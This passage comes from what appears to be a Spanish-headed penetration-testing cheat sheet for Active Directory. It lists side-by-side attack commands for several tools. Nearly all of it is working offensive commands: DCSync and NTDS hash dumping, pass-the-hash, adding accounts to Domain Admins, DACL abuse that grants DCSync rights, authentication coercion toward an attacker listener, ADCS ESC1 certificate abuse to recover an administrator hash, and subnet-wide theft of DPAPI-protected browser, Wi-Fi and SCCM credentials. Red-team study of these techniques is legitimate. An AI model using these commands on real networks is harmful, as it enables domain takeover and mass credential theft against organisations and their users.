  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

[↑ Volver al Índice](#index)

---

### Enumerar Grupos / Alias Locales```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

[Volver al Índice](#index)

---

### Enumerar Endpoints RPC```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

[↑ Volver al Índice](#index)

---

### Invocación de Métodos WMI```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

[↑ Volver al Índice](#index)

---

### Descriptor de seguridad de clave de registro```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

[↑ Volver al índice](#index)

---

### Administración de privilegios LSA```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

[↑ Volver al Índice](#index)

---

## 6. Active Directory / LDAP

### Enumerar usuarios / equipos de AD```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Volver al Índice](#index)

---

### Encontrar Configuraciones de Delegación```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Volver al índice](#index)

---

### Añadir una cuenta de usuario```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

[↑ Volver al índice](#index)

---

### Abuso de DACL

> **Estado de Titanis:** Sin capacidad de escritura de ACE. `bloodyAD` es la opción preferida no-impacket. `dacledit.py` / `owneredit.py` son las opciones de respaldo de impacket.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

[↑ Volver al índice](#index)

---

## 7. Coerción de Autenticación

> Combine la parte de coerción con `ntlmrelayx` o Responder para la parte de relay. Titanis `credcoerce` solo cubre MS-EFSR.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

[↑ Volver al Índice](#index)

---

## 8. Certificados

> **Estado de gopacket:** No hay herramientas ADCS. Usa certipy, Titanis `Cert` o impacket para todas las operaciones de certificados.

### Generación de PFX autofirmado```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

[↑ Volver al Índice](#index)

---

### ADCS ESC1 — Inscribir y Recuperar NT Hash```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

[↑ Volver al índice](#index)

---

### Clave de copia de seguridad de dominio de DPAPI — Descifrado masivo de credenciales

> La clave de copia de seguridad de dominio de DPAPI es un secreto de todo el dominio almacenado en los DC que descifra la clave maestra DPAPI de cada usuario — y, por tanto, todos los blobs protegidos por DPAPI del dominio: contraseñas de Chrome/Edge/Firefox, Administrador de credenciales de Windows, certificados, claves Wi-Fi, cuentas NAA de SCCM, credenciales de tareas programadas y más. Para volcarla se requiere DA, pero una vez obtenida, la clave es válida permanentemente a menos que se rote explícitamente. Ofrece una amplitud de cobertura de credenciales comparable a la de NTDS para los secretos almacenados en blobs DPAPI, y suele ser más rica para el movimiento lateral porque proporciona contraseñas en texto plano en lugar de hashes.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan